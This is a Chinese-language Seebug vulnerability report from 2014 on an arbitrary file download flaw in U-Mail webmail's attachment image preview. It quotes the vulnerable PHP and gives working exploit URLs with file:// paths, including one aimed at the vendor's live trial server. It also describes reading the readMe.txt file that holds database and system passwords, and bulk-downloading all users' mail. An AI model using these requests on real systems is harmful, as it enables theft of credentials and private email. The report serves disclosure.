U-Mail最新版任意文件下载漏洞

2014-12-04T00:00:00
ID SSV:95451
Type seebug
Reporter Root
Modified 2014-12-04T00:00:00

Description

简要描述:

下载了最新版的umail,发现漏洞还不少,不过上wooyun一搜索,都是以前大牛提交过了,只好另找一个了。任意文件下载,泄露系统重要敏感信息,还可导致可下载任意用户的全部邮件。u-mail的使用量就不说了,可以参考: http://www.wooyun.org/bugs/wooyun-2010-061859

详细说明:

问题出现的位置是在图片预览的地方

http://192.168.1.24/webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=1.gif&type=application/octet-stream

关键代码如下:

if ( ACTION == "attach-img-preview" ) { $download_url = $_GET['d_url']; $type = $_GET['type']; $data = get_url_data( $download_url ); header( "Content-type: ".$type ); header( "Expires: 0" ); header( "Pragma: public" ); echo $data; exit( ); }

zend解密出来的代码,凑合着看吧 继续跟进get_url_data,(admin/include/base_function.php)

function get_url_data( $_obfuscate_Il8i, $_obfuscate_5E5Av0svlQ = 1 ) { $_obfuscate_u_c = curl_init( ); curl_setopt( $_obfuscate_u_c, CURLOPT_URL, $_obfuscate_Il8i ); curl_setopt( $_obfuscate_u_c, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $_obfuscate_u_c, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $_obfuscate_u_c, CURLOPT_RETURNTRANSFER, TRUE ); curl_setopt( $_obfuscate_u_c, CURLOPT_CONNECTTIMEOUT, $_obfuscate_5E5Av0svlQ ); $_obfuscate_6RYLWQ = curl_exec( $_obfuscate_u_c ); curl_close( $_obfuscate_u_c ); return $_obfuscate_6RYLWQ; }

url参数没有进行任何过滤,直接调用了c_url,因此我们可以访问如下url:

http://192.168.1.24//webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\windows\win.ini&type=text/htm

<img src="https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png" alt="任意文件读取.png" width="600" onerror="javascript:errimg(this);">

u-mail邮件系统在安装后会生成一些随机的密码作为数据库密码,已经新建两个系统用户,这些信息都存在umail下的readMe.txt,这个文件在web目录下是不能读取的

<img src="https://images.seebug.org/upload/201412/04001319bdc5d6f9fa5e6a98ecbaade39ded9a54.png" alt="系统敏感信息0.png" width="600" onerror="javascript:errimg(this);">

mysql root密码,系统用户账号密码都尽收眼底,而且建议用户不要修改……

<img src="https://images.seebug.org/upload/201412/040013314943889f69f4600758b6bc8f5b0d039a.png" alt="系统敏感信息.png" width="600" onerror="javascript:errimg(this);">

更进一步我们可以做什么呢? 下载任意用户的任意邮件。 u-mail用户的邮件都会存在umail\Users\jc.com\test目录下 其中jc.com就是邮件服务器的域名,test是用户名,目录结构是:

<img src="https://images.seebug.org/upload/201412/040021234fa5ccea8766a8e395a2ce9eb640104e.png" alt="任意邮件下载1.png" width="600" onerror="javascript:errimg(this);">

其中md50000000001.msg,md50000000002.msg就是用户的邮件,是按照数字递增的。 因此我们可以很容易的写一个程序来遍历下载所有用户的所有邮件,邮件是eml格式的。

<img src="https://images.seebug.org/upload/201412/04002752dfbefb48e45c51eb1a792f42b4ff1c06.png" alt="下载任意用户的邮件11.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

http://192.168.1.24//webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\windows\win.ini&type=text/htm

<img src="https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png" alt="任意文件读取.png" width="600" onerror="javascript:errimg(this);">

给个官网测试链接(需要点击试用,登上一个普通账号):

http://mail.comingchina.com/webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\\windows\win.ini&type=text/htm

<img src="https://images.seebug.org/upload/201412/040041523cef469655b5e383cabb791875a5a3dc.png" alt="任意文件读取11.png" width="600" onerror="javascript:errimg(this);">

readMe.txt

<img src="https://images.seebug.org/upload/201412/04004426612a519ab6f0c74537b1cf9885b21be0.png" alt="任意文件读取111.png" width="600" onerror="javascript:errimg(this);">